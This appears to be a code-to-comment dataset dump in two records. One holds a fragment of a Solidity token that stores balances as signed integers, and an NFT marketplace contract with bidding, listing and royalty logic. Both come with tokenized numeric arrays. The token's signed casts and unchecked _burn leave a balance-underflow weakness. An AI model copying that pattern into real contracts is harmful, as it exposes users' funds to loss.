address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
int ivalue = int(value);
require(ivalue > 0, "Transfer too large");
require(to != address(0));
require(ivalue <= _balances[msg.sender], "Insufficient balance");
_balances[msg.sender] -= ivalue;
require(_balances[to] + ivalue >= _balances[to], "Balance Overflow");
_balances[to] += ivalue;
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0), "Spender cannot be address 0x0");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
int ivalue = int(value);
require(ivalue > 0, "Transfer too large");
require(to != address(0), "Cannot transfer to 0x0");
require(value <= _allowed[from][msg.sender], "value larger than allowed");
require(ivalue <= _balances[from], "value larger than balance");
_balances[from] -= ivalue;
require(_balances[to] + ivalue >= _balances[to]);
_balances[to] += ivalue;
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint amount) internal {
require(int(amount) > 0, "Amount too large");
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
require(_balances[account] + int(amount) >= _balances[account], "Balance overflow ");
_balances[account] += int(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint amount) internal {
require(int(amount) > 0, "Amount too large");
require(account != address(0));
_totalSupply = _totalSupply.sub(amount);
_balances[account] -= int(amount);
emit Transfer(account, address(0), amount);
}
}
|
* @dev Internal function that mints an amount of the token and assigns it to an account. This encapsulates the modification of balances such that the proper events are emitted. @param account The account that will receive the created tokens. @param amount The amount that will be created./
|
function _mint(address account, uint amount) internal {
require(int(amount) > 0, "Amount too large");
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
require(_balances[account] + int(amount) >= _balances[account], "Balance overflow ");
_balances[account] += int(amount);
emit Transfer(address(0), account, amount);
}
| 5,423,948 |
[
1,
3061,
445,
716,
312,
28142,
392,
3844,
434,
326,
1147,
471,
22698,
518,
358,
392,
2236,
18,
1220,
22106,
17099,
326,
11544,
434,
324,
26488,
4123,
716,
326,
5338,
2641,
854,
17826,
18,
225,
2236,
1021,
2236,
716,
903,
6798,
326,
2522,
2430,
18,
225,
3844,
1021,
3844,
716,
903,
506,
2522,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
81,
474,
12,
2867,
2236,
16,
2254,
3844,
13,
2713,
288,
203,
3639,
2583,
12,
474,
12,
8949,
13,
405,
374,
16,
315,
6275,
4885,
7876,
8863,
203,
3639,
2583,
12,
4631,
480,
1758,
12,
20,
10019,
203,
3639,
389,
4963,
3088,
1283,
273,
389,
4963,
3088,
1283,
18,
1289,
12,
8949,
1769,
203,
3639,
2583,
24899,
70,
26488,
63,
4631,
65,
397,
509,
12,
8949,
13,
1545,
389,
70,
26488,
63,
4631,
6487,
315,
13937,
9391,
315,
1769,
203,
3639,
389,
70,
26488,
63,
4631,
65,
1011,
509,
12,
8949,
1769,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
2236,
16,
3844,
1769,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2020-11-15
*/
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
pragma solidity ^0.4.24;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: openzeppelin-solidity/contracts/access/rbac/Roles.sol
pragma solidity ^0.4.24;
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
// File: openzeppelin-solidity/contracts/access/rbac/RBAC.sol
pragma solidity ^0.4.24;
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* Supports unlimited numbers of roles and addresses.
* See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
/**
* @dev reverts if addr does not have role
* @param _operator address
* @param _role the name of the role
* // reverts
*/
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
/**
* @dev determine if addr has role
* @param _operator address
* @param _role the name of the role
* @return bool
*/
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
/**
* @dev add a role to an address
* @param _operator address
* @param _role the name of the role
*/
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
/**
* @dev remove a role from an address
* @param _operator address
* @param _role the name of the role
*/
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param _role the name of the role
* // reverts
*/
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param _roles the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] _roles) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < _roles.length; i++) {
// if (hasRole(msg.sender, _roles[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: openzeppelin-solidity/contracts/access/Whitelist.sol
pragma solidity ^0.4.24;
/**
* @title Whitelist
* @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions.
* This simplifies the implementation of "user permissions".
*/
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
/**
* @dev Throws if operator is not whitelisted.
* @param _operator address
*/
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
/**
* @dev add an address to the whitelist
* @param _operator address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address _operator)
public
onlyOwner
{
addRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev getter to determine if address is in whitelist
*/
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev add addresses to the whitelist
* @param _operators addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param _operator address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address _operator)
public
onlyOwner
{
removeRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev remove addresses from the whitelist
* @param _operators addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] _operators)
public
onlyOwner
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: contracts/v2/ReentrancyGuard.sol
pragma solidity ^0.4.24;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
bool private _notEntered = true;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// File: contracts/v2/marketplace/TokenMarketplaceV2.sol
pragma solidity ^0.4.24;
interface IKODAV2Methods {
function ownerOf(uint256 _tokenId) external view returns (address _owner);
function exists(uint256 _tokenId) external view returns (bool _exists);
function editionOfTokenId(uint256 _tokenId) external view returns (uint256 tokenId);
function artistCommission(uint256 _tokenId) external view returns (address _artistAccount, uint256 _artistCommission);
function editionOptionalCommission(uint256 _tokenId) external view returns (uint256 _rate, address _recipient);
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
}
// Based on ITokenMarketplace.sol
contract TokenMarketplaceV2 is Whitelist, Pausable, ReentrancyGuard {
using SafeMath for uint256;
event UpdatePlatformPercentageFee(uint256 _oldPercentage, uint256 _newPercentage);
event UpdateRoyaltyPercentageFee(uint256 _oldPercentage, uint256 _newPercentage);
event UpdateMinBidAmount(uint256 minBidAmount);
event TokenListed(
uint256 indexed _tokenId,
address indexed _seller,
uint256 _price
);
event TokenDeListed(
uint256 indexed _tokenId
);
event TokenPurchased(
uint256 indexed _tokenId,
address indexed _buyer,
address indexed _seller,
uint256 _price
);
event BidPlaced(
uint256 indexed _tokenId,
address indexed _currentOwner,
address indexed _bidder,
uint256 _amount
);
event BidWithdrawn(
uint256 indexed _tokenId,
address indexed _bidder
);
event BidAccepted(
uint256 indexed _tokenId,
address indexed _currentOwner,
address indexed _bidder,
uint256 _amount
);
event BidRejected(
uint256 indexed _tokenId,
address indexed _currentOwner,
address indexed _bidder,
uint256 _amount
);
event AuctionEnabled(
uint256 indexed _tokenId,
address indexed _auctioneer
);
event AuctionDisabled(
uint256 indexed _tokenId,
address indexed _auctioneer
);
event ListingEnabled(
uint256 indexed _tokenId
);
event ListingDisabled(
uint256 indexed _tokenId
);
struct Offer {
address bidder;
uint256 offer;
}
struct Listing {
uint256 price;
address seller;
}
// Min increase in bid/list amount
uint256 public minBidAmount = 0.01 ether;
// Interface into the KODA world
IKODAV2Methods public kodaAddress;
// KO account which can receive commission
address public koCommissionAccount;
uint256 public artistRoyaltyPercentage = 100;
uint256 public platformFeePercentage = 25;
// Token ID to Offer mapping
mapping(uint256 => Offer) public offers;
// Token ID to Listing
mapping(uint256 => Listing) public listings;
// Explicitly disable sales for specific tokens
mapping(uint256 => bool) public disabledTokens;
// Explicitly disable listings for specific tokens
mapping(uint256 => bool) public disabledListings;
///////////////
// Modifiers //
///////////////
modifier onlyWhenOfferOwner(uint256 _tokenId) {
require(offers[_tokenId].bidder == msg.sender, "Not offer maker");
_;
}
modifier onlyWhenTokenExists(uint256 _tokenId) {
require(kodaAddress.exists(_tokenId), "Token does not exist");
_;
}
modifier onlyWhenBidOverMinAmount(uint256 _tokenId) {
require(msg.value >= offers[_tokenId].offer.add(minBidAmount), "Offer not enough");
_;
}
modifier onlyWhenTokenAuctionEnabled(uint256 _tokenId) {
require(!disabledTokens[_tokenId], "Token not enabled for offers");
_;
}
/////////////////
// Constructor //
/////////////////
// Set the caller as the default KO account
constructor(IKODAV2Methods _kodaAddress, address _koCommissionAccount) public {
kodaAddress = _kodaAddress;
koCommissionAccount = _koCommissionAccount;
super.addAddressToWhitelist(msg.sender);
}
//////////////////////////
// User Bidding Actions //
//////////////////////////
function placeBid(uint256 _tokenId)
public
payable
whenNotPaused
nonReentrant
onlyWhenTokenExists(_tokenId)
onlyWhenBidOverMinAmount(_tokenId)
onlyWhenTokenAuctionEnabled(_tokenId)
{
require(!isContract(msg.sender), "Unable to place a bid as a contract");
_refundHighestBidder(_tokenId);
offers[_tokenId] = Offer({bidder : msg.sender, offer : msg.value});
address currentOwner = kodaAddress.ownerOf(_tokenId);
emit BidPlaced(_tokenId, currentOwner, msg.sender, msg.value);
}
function withdrawBid(uint256 _tokenId)
public
whenNotPaused
nonReentrant
onlyWhenTokenExists(_tokenId)
onlyWhenOfferOwner(_tokenId)
{
_refundHighestBidder(_tokenId);
emit BidWithdrawn(_tokenId, msg.sender);
}
function rejectBid(uint256 _tokenId)
public
whenNotPaused
nonReentrant
{
address currentOwner = kodaAddress.ownerOf(_tokenId);
require(currentOwner == msg.sender, "Not token owner");
uint256 currentHighestBiddersAmount = offers[_tokenId].offer;
require(currentHighestBiddersAmount > 0, "No offer open");
address currentHighestBidder = offers[_tokenId].bidder;
_refundHighestBidder(_tokenId);
emit BidRejected(_tokenId, currentOwner, currentHighestBidder, currentHighestBiddersAmount);
}
function acceptBid(uint256 _tokenId, uint256 _acceptedAmount)
public
whenNotPaused
nonReentrant
{
address currentOwner = kodaAddress.ownerOf(_tokenId);
require(currentOwner == msg.sender, "Not token owner");
Offer storage offer = offers[_tokenId];
uint256 winningOffer = offer.offer;
// Check valid offer and offer not replaced whilst inflight
require(winningOffer > 0 && _acceptedAmount >= winningOffer, "Offer amount not satisfied");
address winningBidder = offer.bidder;
delete offers[_tokenId];
// Get edition no.
uint256 editionNumber = kodaAddress.editionOfTokenId(_tokenId);
_handleFunds(editionNumber, winningOffer, currentOwner);
kodaAddress.safeTransferFrom(msg.sender, winningBidder, _tokenId);
emit BidAccepted(_tokenId, currentOwner, winningBidder, winningOffer);
}
function _refundHighestBidder(uint256 _tokenId) internal {
// Get current highest bidder
address currentHighestBidder = offers[_tokenId].bidder;
if (currentHighestBidder != address(0)) {
// Get current highest bid amount
uint256 currentHighestBiddersAmount = offers[_tokenId].offer;
if (currentHighestBiddersAmount > 0) {
// Clear out highest bidder
delete offers[_tokenId];
// Refund it
currentHighestBidder.transfer(currentHighestBiddersAmount);
}
}
}
//////////////////////////
// User Listing Actions //
//////////////////////////
function listToken(uint256 _tokenId, uint256 _listingPrice)
public
whenNotPaused {
require(!disabledListings[_tokenId], "Listing disabled");
// Check ownership before listing
address tokenOwner = kodaAddress.ownerOf(_tokenId);
require(tokenOwner == msg.sender, "Not token owner");
// Check price over min bid
require(_listingPrice >= minBidAmount, "Listing price not enough");
// List the token
listings[_tokenId] = Listing({
price : _listingPrice,
seller : msg.sender
});
emit TokenListed(_tokenId, msg.sender, _listingPrice);
}
function delistToken(uint256 _tokenId)
public
whenNotPaused {
// check listing found
require(listings[_tokenId].seller != address(0), "No listing found");
// check owner is msg.sender
require(kodaAddress.ownerOf(_tokenId) == msg.sender, "Only the current owner can delist");
_delistToken(_tokenId);
}
function buyToken(uint256 _tokenId)
public
payable
nonReentrant
whenNotPaused {
Listing storage listing = listings[_tokenId];
// check token is listed
require(listing.seller != address(0), "No listing found");
// check current owner is the lister as it may have changed hands
address currentOwner = kodaAddress.ownerOf(_tokenId);
require(listing.seller == currentOwner, "Listing not valid, token owner has changed");
// check listing satisfied
uint256 listingPrice = listing.price;
require(msg.value == listingPrice, "List price not satisfied");
// Get edition no.
uint256 editionNumber = kodaAddress.editionOfTokenId(_tokenId);
// refund any open offers on it
Offer storage offer = offers[_tokenId];
_refundHighestBidder(_tokenId);
// split funds
_handleFunds(editionNumber, listingPrice, currentOwner);
// transfer token to buyer
kodaAddress.safeTransferFrom(currentOwner, msg.sender, _tokenId);
// de-list the token
_delistToken(_tokenId);
// Fire confirmation event
emit TokenPurchased(_tokenId, msg.sender, currentOwner, listingPrice);
}
function _delistToken(uint256 _tokenId) private {
delete listings[_tokenId];
emit TokenDeListed(_tokenId);
}
////////////////////
// Funds handling //
////////////////////
function _handleFunds(uint256 _editionNumber, uint256 _offer, address _currentOwner) internal {
// Get existing artist commission
(address artistAccount, uint256 artistCommissionRate) = kodaAddress.artistCommission(_editionNumber);
// Get existing optional commission
(uint256 optionalCommissionRate, address optionalCommissionRecipient) = kodaAddress.editionOptionalCommission(_editionNumber);
_splitFunds(artistAccount, artistCommissionRate, optionalCommissionRecipient, optionalCommissionRate, _offer, _currentOwner);
}
function _splitFunds(
address _artistAccount,
uint256 _artistCommissionRate,
address _optionalCommissionRecipient,
uint256 _optionalCommissionRate,
uint256 _offer,
address _currentOwner
) internal {
// Work out total % of royalties to payout = creator royalties + KO commission
uint256 totalCommissionPercentageToPay = platformFeePercentage.add(artistRoyaltyPercentage);
// Send current owner majority share of the offer
uint256 totalToSendToOwner = _offer.sub(
_offer.div(1000).mul(totalCommissionPercentageToPay)
);
_currentOwner.transfer(totalToSendToOwner);
// Send % to KO
uint256 koCommission = _offer.div(1000).mul(platformFeePercentage);
koCommissionAccount.transfer(koCommission);
// Send to seller minus royalties and commission
uint256 remainingRoyalties = _offer.sub(koCommission).sub(totalToSendToOwner);
if (_optionalCommissionRecipient == address(0)) {
// After KO and Seller - send the rest to the original artist
_artistAccount.transfer(remainingRoyalties);
} else {
_handleOptionalSplits(_artistAccount, _artistCommissionRate, _optionalCommissionRecipient, _optionalCommissionRate, remainingRoyalties);
}
}
function _handleOptionalSplits(
address _artistAccount,
uint256 _artistCommissionRate,
address _optionalCommissionRecipient,
uint256 _optionalCommissionRate,
uint256 _remainingRoyalties
) internal {
uint256 _totalCollaboratorsRate = _artistCommissionRate.add(_optionalCommissionRate);
uint256 _scaledUpCommission = _artistCommissionRate.mul(10 ** 18);
// work out % of royalties total to split e.g. 43 / 85 = 50.5882353%
uint256 primaryArtistPercentage = _scaledUpCommission.div(_totalCollaboratorsRate);
uint256 totalPrimaryRoyaltiesToArtist = _remainingRoyalties.mul(primaryArtistPercentage).div(10 ** 18);
_artistAccount.transfer(totalPrimaryRoyaltiesToArtist);
uint256 remainingRoyaltiesToCollaborator = _remainingRoyalties.sub(totalPrimaryRoyaltiesToArtist);
_optionalCommissionRecipient.transfer(remainingRoyaltiesToCollaborator);
}
///////////////////
// Query Methods //
///////////////////
function tokenOffer(uint256 _tokenId) external view returns (address _bidder, uint256 _offer, address _owner, bool _enabled, bool _paused) {
Offer memory offer = offers[_tokenId];
return (
offer.bidder,
offer.offer,
kodaAddress.ownerOf(_tokenId),
!disabledTokens[_tokenId],
paused
);
}
function determineSaleValues(uint256 _tokenId) external view returns (uint256 _sellerTotal, uint256 _platformFee, uint256 _royaltyFee) {
Offer memory offer = offers[_tokenId];
uint256 offerValue = offer.offer;
uint256 fee = offerValue.div(1000).mul(platformFeePercentage);
uint256 royalties = offerValue.div(1000).mul(artistRoyaltyPercentage);
return (
offer.offer.sub(fee).sub(royalties),
fee,
royalties
);
}
function tokenListingDetails(uint256 _tokenId) external view returns (uint256 _price, address _lister, address _currentOwner) {
Listing memory listing = listings[_tokenId];
return (
listing.price,
listing.seller,
kodaAddress.ownerOf(_tokenId)
);
}
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
///////////////////
// Admin Actions //
///////////////////
function disableAuction(uint256 _tokenId)
public
onlyIfWhitelisted(msg.sender)
{
_refundHighestBidder(_tokenId);
disabledTokens[_tokenId] = true;
emit AuctionDisabled(_tokenId, msg.sender);
}
function enableAuction(uint256 _tokenId)
public
onlyIfWhitelisted(msg.sender)
{
_refundHighestBidder(_tokenId);
disabledTokens[_tokenId] = false;
emit AuctionEnabled(_tokenId, msg.sender);
}
function disableListing(uint256 _tokenId)
public
onlyIfWhitelisted(msg.sender)
{
_delistToken(_tokenId);
disabledListings[_tokenId] = true;
emit ListingDisabled(_tokenId);
}
function enableListing(uint256 _tokenId)
public
onlyIfWhitelisted(msg.sender)
{
disabledListings[_tokenId] = false;
emit ListingEnabled(_tokenId);
}
function setMinBidAmount(uint256 _minBidAmount) onlyIfWhitelisted(msg.sender) public {
minBidAmount = _minBidAmount;
emit UpdateMinBidAmount(minBidAmount);
}
function setKodavV2(IKODAV2Methods _kodaAddress) onlyIfWhitelisted(msg.sender) public {
kodaAddress = _kodaAddress;
}
function setKoCommissionAccount(address _koCommissionAccount) public onlyIfWhitelisted(msg.sender) {
require(_koCommissionAccount != address(0), "Invalid address");
koCommissionAccount = _koCommissionAccount;
}
function setArtistRoyaltyPercentage(uint256 _artistRoyaltyPercentage) public onlyIfWhitelisted(msg.sender) {
emit UpdateRoyaltyPercentageFee(artistRoyaltyPercentage, _artistRoyaltyPercentage);
artistRoyaltyPercentage = _artistRoyaltyPercentage;
}
function setPlatformPercentage(uint256 _platformFeePercentage) public onlyIfWhitelisted(msg.sender) {
emit UpdatePlatformPercentageFee(platformFeePercentage, _platformFeePercentage);
platformFeePercentage = _platformFeePercentage;
}
}
|
Token ID to Listing
|
mapping(uint256 => Listing) public listings;
| 6,007,521 |
[
1,
1345,
1599,
358,
987,
310,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
